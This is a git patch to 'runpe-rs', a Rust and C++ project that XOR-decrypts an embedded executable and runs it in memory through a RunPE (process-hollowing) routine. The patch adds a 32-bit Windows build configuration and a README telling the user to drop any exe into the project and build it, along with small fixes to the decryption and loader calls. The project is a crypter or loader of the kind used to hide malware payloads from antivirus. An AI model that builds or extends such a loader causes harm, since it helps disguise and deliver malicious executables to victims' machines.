From af1160fcae4be9c04c05d18f5f6e64f5d46d2df0 Mon Sep 17 00:00:00 2001
From: minco <mail@drchi.co.kr>
Date: Tue, 22 Jul 2025 00:26:22 +0900
Subject: [PATCH] fdsd

---
 .cargo/config.toml |  3 +++
 README.md          | 10 ++++++++++
 cpp/run_pe.cpp     |  4 +++-
 src/main.rs        |  8 ++++----
 src/runpe.rs       |  6 +++---
 5 files changed, 23 insertions(+), 8 deletions(-)
 create mode 100644 .cargo/config.toml
 create mode 100644 README.md

diff --git a/.cargo/config.toml b/.cargo/config.toml
new file mode 100644
index 0000000..5198f3a
--- /dev/null
+++ b/.cargo/config.toml
@@ -0,0 +1,3 @@
+[build]
+rustflags = ["-C", "linker=g++"]
+target = "i686-pc-windows-gnu"
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..7db26e7
--- /dev/null
+++ b/README.md
@@ -0,0 +1,10 @@
+# runpe-rs
+
+## Requirements
+- Mingw32 gcc/g++ (`g++` in PATH)
+- Rust target `i686-pc-windows-gnu`
+
+## Usage
+1. put exe to `exe/s.exe`
+2. `cargo build --release`
+3. voila!
diff --git a/cpp/run_pe.cpp b/cpp/run_pe.cpp
index 1c028a6..93aa8e9 100644
--- a/cpp/run_pe.cpp
+++ b/cpp/run_pe.cpp
@@ -1,4 +1,5 @@
-#include <iostream> // Standard C++ library for console I/O
+#include <iostream>
+#include <fstream>
 #include <string> // Standard C++ Library for string manip
 
 #include <Windows.h> // WinAPI Header
@@ -90,4 +91,5 @@ extern "C" int RunPortableExecutable(void* Image)
 			}
 		}
 	}
+	return 0;
 }
diff --git a/src/main.rs b/src/main.rs
index 67146a8..6a00101 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -8,11 +8,11 @@ fn xor_crypt(input: &mut [u8], key: u8) {
     }
 }
 
-static BYTES: &[u8] = include_bytes!("crypt.bin");
+static BYTES: &[u8] = include_bytes!("../crypt.bin");
 
 fn main() {
-    let mut bytes = BYTES.clone();
-    xor_crypt(&mut bytes, 0x42);
+    let mut bytes = BYTES.to_vec();
+    xor_crypt(bytes.as_mut_slice(), 0x42);
 
-    run_portable_executable(bytes).unwrap();
+    run_portable_executable(bytes.as_slice()).unwrap();
 }
diff --git a/src/runpe.rs b/src/runpe.rs
index 3874eac..b718fd3 100644
--- a/src/runpe.rs
+++ b/src/runpe.rs
@@ -1,5 +1,5 @@
-extern "C" {
-    fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32;
+unsafe extern "C" {
+    unsafe fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32;
 }
 
 pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
@@ -7,7 +7,7 @@ pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
         return Err("Empty byte slice passed");
     }
 
-    let ptr = image.as_ptr() as *mut c_void;
+    let ptr = image.as_ptr() as *mut std::ffi::c_void;
 
     let result = unsafe { RunPortableExecutable(ptr) };